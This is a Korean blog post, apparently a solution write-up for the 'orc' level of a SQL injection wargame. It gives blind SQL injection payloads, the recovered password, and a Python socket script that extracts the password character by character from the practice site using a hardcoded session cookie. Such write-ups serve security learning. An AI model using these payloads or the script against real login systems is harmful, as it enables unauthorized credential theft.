[los - SQL injection] orc ( 4단계 )
[ 문제풀이 ]
orc는 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) 조건문을 만족해야 해당 문제가 풀린다..
취약점으로 이용할 수 있는 부분은 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 와
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 이 두군데로 보인다...
근데 이 문제에서는 addslashes() 함수를 이용해서 쿼터의 사용을 금지하여서 두번째 쿼리에서는 쿼터 사용이 불가능해진다..
여기서는 첫번째 쿼리와 출력되는 echo "<hr>query : <strong>{$query}</strong><hr><br>";로 내용을 통해서 SQL injection을 진행해야한다.
결국 이 문제를 풀기 위해서는 admin에 대한 해당 pw를 직접 입력해줘야 문제가 풀린다.
Blind SQL injection을 통해서 pw를 공략 해볼 수 있겠다..
'or length(pw)=8 # 을 이용해서 pw의 길이가 8인걸 알아냈다.
pw 길이는 8
' or (id='admin' and ascii(substr(pw,2,1)) > 60) # 를 이용해서
pw 한문자씩 비밀번호가 맞는지 참/거짓을 통해서 알아내는데
여기서는 python을 이용해서 자동화 프로그램 코드를 짜서 8자리 비밀번호를 찾았다.
python 자동화 프로그램으로 찾아낸 pw의 결과는...
첫번째 글자 2( ascii 50 )
두번째 글자 9( ascii 57 )
세번째 글자 5( ascii 53 )
네번째 글자 d( ascii 100 )
다섯번째 글자 5( ascii 53 )
여섯번째 글자 8( ascii 56 )
일곱번째 글자 4( acsii 52 )
여덟번째 글자 4( ascii 52 )
이제 찾은 문자를 pw값으로 입력해주게 되면 문제가 풀릴것이다~
4단계 클리어~~~~~
- pw 찾기위한 python 자동화 코드
orc.py
from socket import *
from struct import *
for i in range(1,9):
ch = 48
while True:
#if 58 <= ch <= 64: ch + 1; continue
#if 91 <= ch <= 96: ch + 1; continue
if ch > 122: break
sock = socket( AF_INET, SOCK_STREAM )
sock.connect( ('104.27.174.42', 80) )
request_header = 'GET /orc_47190a4d33f675a601f8def32df2583a.php?pw='
request_header += '\' or id=\'admin\' %26%26 ascii(substr((select pw),'
request_header += str(i)
request_header += ',1))=' + str(ch) + ' %23'
request_header += ' HTTP/1.1\r\n'
request_header += 'Cookie:__cfduid=dd47bd8851e64298cd2968ee86932fc981506163499;
PHPSESSID=olrlta4imqt6470urhrs9r5071\r\n'
request_header += 'Host:los.eagle-jump.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
if 'Hello admin' in response:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1;
sock.close()
'워게임 > LOS' 카테고리의 다른 글
[los - SQL injection] darkelf ( 6단계 ) (0) | 2017.09.23 |
---|---|
[los - SQL injection] wolfman ( 5단계 ) (0) | 2017.09.23 |
[los - SQL injection] goblin ( 3단계 ) (0) | 2017.09.23 |
[los - SQL injection] cobolt ( 2단계 ) (0) | 2017.09.23 |
[los - SQL injection] gremlin ( 1단계 ) (0) | 2017.09.07 |
댓글